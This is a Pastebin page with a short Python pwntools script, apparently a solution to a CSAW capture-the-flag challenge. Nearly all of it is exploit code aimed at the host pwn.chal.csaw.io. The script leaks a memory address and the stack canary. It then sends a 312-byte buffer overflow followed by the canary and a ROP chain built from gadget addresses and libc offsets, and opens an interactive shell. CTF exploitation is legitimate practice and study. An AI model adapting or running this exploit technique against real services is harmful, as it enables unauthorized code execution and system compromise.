hdarwin

csaw_tutorial

Oct 12th, 2016
124
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.69 KB | None | 0 0
  1. #!/usr/bin/env python
  2. from pwn import *
  3. p = remote("pwn.chal.csaw.io", 8002)
  4. #p = remote("0", 8002)
  5. p.recvuntil(">")
  6. p.sendline("1")
  7. leak = int(p.recvline(0)[10:],16)
  8. p.recvuntil(">")
  9. p.sendline("2")
  10. p.recvuntil(">")
  11. p.send("A"*312)
  12. p.recvn(312)
  13. cookie = p.recvn(8)
  14. p.recvuntil(">")
  15. p.sendline("2")
  16. raw_input("debug")
  17. p.sendline("A"*312 + cookie + p64(0x4012e3)*2 + p64(4) + p64(0x4012e1) + p64(0)*2 + p64(leak+508208+0x500) + p64(0x4012e3) + p64(leak+1100643+0x500) + p64(leak-169936+0x500))
  18. #p.sendline("A"*312 + cookie + p64(0x4012e3)*2 + p64(4) + p64(0x4012e1) + p64(0)*2 + p64(leak+555760+0x500) + p64(0x4012e3) + p64(leak+1167291+0x500) + p64(leak-172624+0x500))
  19. p.interactive()
Advertisement
Add Comment
Please, Sign In to add comment